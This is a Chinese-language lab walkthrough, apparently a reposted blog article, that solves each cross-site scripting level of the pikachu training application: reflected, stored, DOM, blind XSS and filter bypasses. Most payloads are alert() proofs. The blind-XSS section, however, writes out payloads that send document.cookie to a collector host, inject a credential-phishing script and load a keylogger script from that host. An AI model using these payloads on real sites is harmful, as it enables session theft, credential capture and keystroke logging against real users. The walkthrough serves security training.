声明!
笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人无关,切勿触碰法律底线,否则后果自负!!!!
题记
XSS(跨站脚本)概述 Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称 XSS。一般 XSS 可以分为如下几种常见类型:
1.反射型 XSS; 2.存储型 XSS; 3.DOM 型 XSS;
XSS 漏洞一直被评估为 web 漏洞中危害较大的漏洞,在 OWASP TOP10 的排名中一直属于前三的江湖地位。 XSS 是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。 形成 XSS 漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。 因此在 XSS 漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致 XSS 攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。
反射型 xss(get)
我们输入123
,并查看一下源代码,可以看到123
已经在前端页面出现了。
那么我们输入一下123<script>
看看会出现什么
可以看到,123<script>
在前端中显示为“who is 123”
,后边的“i don't care!”
则消失了。这说明<script>
标签已经被执行了,那么我们可以直接构造 XSS 注入
<script>alert (1)</script>
但是这时候我们发现一件事情,那就是输入框有字符限制,导致无法构造完整的 XSS 注入代码。
但是由于这种字符字数限制,一般都是由前端进行验证,所以我们可以通过打开开发者工具修改前端源代码来解除一下字符输入的限制。
这时候再输入之前构造的 XSS 注入代码就能成功注入了,但是需要注意的是,由于前端代码修改只是临时性的,所以每次刷新,都需要重新修改字符限制,才能输入完整的 XSS 注入代码。
反射性 xss(post)
在第二个模式,以 POST 方式提交中,发现输入 XSS 注入代码并没有效果,那就需要考虑一下,这是个登录框,是否成功登录之后还有新的页面?这里用了上一篇文章 pikachu - 暴力破解 爆破出来的账号密码来登录,发现三个账号都可以,这里我们使用 admin/123456
来登录。
登录之后,我们随便输入然后提交,再抓个包
能够看到,这是一个 POST 包,那对于注入来说,它与 GET 包会有不同吗?并不会,我们输入构造好的 XSS 注入代码
<script>alert (1)</script>
可以看到,依然是能注入成功的。
存储型 xss
存储型与反射型最大的区别在于反射型是无法存储,只能通过诱骗点击链接来进行触发,而存储型则是永久存储,被写入数据库的,只要用户浏览到被写入 XSS 注入的代码,XSS 注入就会生效。而 XSS 注入可以隐藏在一段文字中,也可以隐藏在图片中,它的触发方式也很多,可以通过鼠标点击甚至是鼠标有经过就能触发。
这里我们构造一个鼠标点击就会生效的 XSS 注入,可以发现不管刷新多少次,这个注入都存在。
<img src=1 onclick=alert('xss')>
DOM 型 xss
DOM 型 XSS(跨站脚本攻击)是基于文档对象模型(Document Object Model,简称 DOM)的一种漏洞。DOM 是 HTML 文档的对象表示,它允许程序和脚本动态访问和更新文档的内容、结构和样式。DOM 型 XSS 的特点是攻击者通过修改页面的 DOM 节点来注入恶意脚本,整个过程在客户端完成,不需要与服务器进行交互。
与传统的反射型和存储型 XSS 不同,DOM 型 XSS 的攻击脚本不会被发送到服务器,而是在浏览器中通过 JavaScript 操作 DOM 时执行。这种攻击方式使得 DOM 型 XSS 难以被传统的 Web 应用防火墙(WAF)检测到。
我们正常输入一个字符串,然后用 F12 检查一下源代码
可以发现,这是一个超链接的标签,我们输入作为引用对象。
那么我们可以闭合引用,然后通过 onclick 属性来构造 XSS 注入,使用双引号"和单引号'测试,发现单引号可以进行闭合。
' onclick="alert ('xss')"
DOM 型 xss-x
DOM-XSS-X 是一种特殊的跨站脚本攻击(XSS)类型,它结合了反射型 XSS 和 DOM 型 XSS 的特点。具体来说,DOM-XSS-X 通常涉及到从浏览器的 URL 中获取输入数据,然后通过 JavaScript 操作 DOM 来执行恶意脚本。这种攻击方式类似于反射型 XSS,因为它通过 URL 参数传递恶意代码,但与反射型 XSS 不同的是,DOM-XSS-X 的执行过程完全在客户端进行,不需要服务器的参与。
在 DOM-XSS-X 中,攻击者构造一个包含恶意脚本的 URL,用户访问该 URL 时,JavaScript 代码会从 URL 中提取参数,并将其插入到 DOM 中执行。由于整个过程不涉及服务器,因此这种攻击方式难以被传统的 Web 应用防火墙(WAF)检测到。
我们同样输入 123 然后按 F12 检查源代码,发现一开始会弹出“有些费尽心机想要忘记的事情,后来真的就忘掉了”的超链接,点击后生成新的超链接“就让往事都随风,都随风吧”,而这个超链接所引用的对象便是我们的输入。
那我们就可以按照之前的方法来进行,依然构造 XSS 注入
' onclick="alert ('xss')"
xss 盲打
什么叫盲打?顾名思义,就是在不知道是否能有返回结果的情况下,去进行注入。
我们测试一下,这里是否能进行注入。
<img src=1 onclick="alert ('1')">
然后我们再进入管理后台查看一下,后台地址是 IP:Port/vul/xss/xssblind/admin.php
,账号/密码是admin/123456
说明 xss 注入被执行了,但是如果不登录管理后台的话,我们没有回显,也不清楚到底注入没,只是发个弹窗注入,貌似也起不了多大作用?
我们把页面往下拉,可以发现一个 XSS 后台
它具有三大模块,也是我们在模拟攻击中常用的手段 cookie 搜集、钓鱼结果、键盘记录
我们先进入 cookie 搜集模块,记下链接。当然,一开始是不知道?cookie 作为传值,但是在目录文件中pikachupkxssxcookiecookie.php
可以看到
然后构造一个 XSS 注入代码
<script>document.location = 'http://192.168.42.142/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
接着我们回到 XSS 盲打模块
点击提交后,我们去管理后台刷新一下网页,然后再回到获取 cookie 结果模块,可以发现,cookie 已被成功接收
我们接着来测试一下钓鱼模块
同样的,这里我们直接构造一个利用代码就行
<script src="http://192.168.42.142/pkxss/xfish/fish.php"></script>
但是这里我们需要去文件pikachupkxssxfishfish.php
修改一下,将 IP 改为我们自己的 IP
我们把它用留言板提交,看看管理后台出现了什么
可以看到有一个登录框,我们输入admin/admin
看看
可以看到,我们的输入已被抓取
接着测试一下获取键盘记录结果
同样的,我们先去pikachupkxssrkeypressrk.js
文件里改一下配置
然后构造 XSS 注入代码
<script src="http://192.168.42.142/pkxss/rkeypress/rk.js">123</script>
接着我们再管理后台随便输入一些字符串,再切回 pikachu Xss 获取键盘记录结果的网页
可以看到,键盘的输入已经被抓取成功了
xss 之过滤
我们先正常构造一个 XSS 注入代码,看看会显示什么
可以看到,'>'
被过滤了,那么我们怎么绕过?
这时候就要说一下 HTML 和 JavaScript 的解析机制了。当浏览器解析 HTML 时,它会尝试将输入的文本视为有效的 HTML 代码,即使这些代码没有明确的闭合标签。例如,如果你在 HTML 中输入<div>Hello</div>
,浏览器会自动闭合这个<div>
标签,即使你没有显式地写上闭合标签</div>
。这种机制被称为 HTML 的自我闭合特性 。
所以我们构造一个没有'>'
的 XSS 注入代码,便可以完美绕过
<img src=1 onclick="alert ('1')"
xss 之 htmlspecialchars
在进行 XSS 注入代码的构造前,我们应该先了解一下htmlspecialchars()
函数是什么。
htmlspecialchars()
是一个 PHP 函数,用于将字符串中的特殊字符转换为 HTML 实体。这样可以防止用户输入的文本被浏览器解释为 HTML 或 JavaScript 代码,从而防止跨站脚本攻击(XSS)。
参数
-
string:必需。要转换的字符串。 -
flags:可选。指定要转换哪些特殊字符。常用的值有: -
ENT_COMPAT:默认值。转换双引号为 ",不转换单引号。 -
ENT_QUOTES:转换双引号和单引号。 -
ENT_NOQUOTES:不转换任何引号.
-
-
encoding:可选。指定字符集,默认为 UTF-8。 -
double_encode:可选。如果设置为 true,则已转换的 HTML 实体将被再次转换。默认为 true。
默认要求
-
flags:默认为 ENT_COMPAT,即只转换双引号,不转换单引号。 -
encoding:默认为 UTF-8。 -
double_encode:默认为 true,即已转换的 HTML 实体将被再次转换。
所以现在我们可以清楚的知道,htmlspecialchars()函数会对输入的字符串中的特殊字符转换为 HTML 实体,但是它默认只转换双引号,不转换单引号,这就给了我们绕过的可能,我们构造一下只有单引号的 XSS 注入代码。
<img src=1 onclick='alert (1)'>
我们发现,我们的输入包含在超链接标签里,那么我们首先闭合标签,再重新构造一下
' onclick='alert (1)'
xss 之 href 输出
可以看到,我们的输入的特殊符号都被当做超链接的对象,没法进行闭合,那么我们该怎么绕过?这里提一下 JavaScript 历史遗留的特性。
在早期的 Web 技术中,JavaScript 的使用并不像现在这样普遍和强大。将 JavaScript 代码直接嵌入到 HTML 属性中(如 href)提供了一种简单的方式来实现一些基本的交互功能,而无需编写复杂的脚本或事件处理程序。
这种方法允许开发者在不使用 onclick 事件的情况下,通过点击链接来触发 JavaScript 代码的执行。javascript 协议被引入作为一种允许在 URL 中嵌入 JavaScript 代码的方式。虽然它最初是为了解决一些特定的用例,但随着时间的推移,它被广泛用于各种场景,包括在 href 中使用。
那么在这里,我们就可以通过 JavaScript 特性来进行绕过
javascript:alert('1')
xss 之 js 输出
尝试输入的字符串都被过滤了,只留下了这么一句话,那么我们该如何绕过?观察一下,在红框位置,是使用双引号进行闭合的,那么我们是否可以通过双引号来进行闭合?我们试一下。
"<script>alert (1)</script>
很尴尬,输入被吃了。这时候我们脑筋转一下,会不会是因为<script>
没有闭合的原因?导致输入不被执行。我们闭合一下</script>
"</script><script>alert (1)</script>
成功弹出
原文始发于微信公众号(泷羽Sec-风):pikachu - Cross-Site Scripting(XSS)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论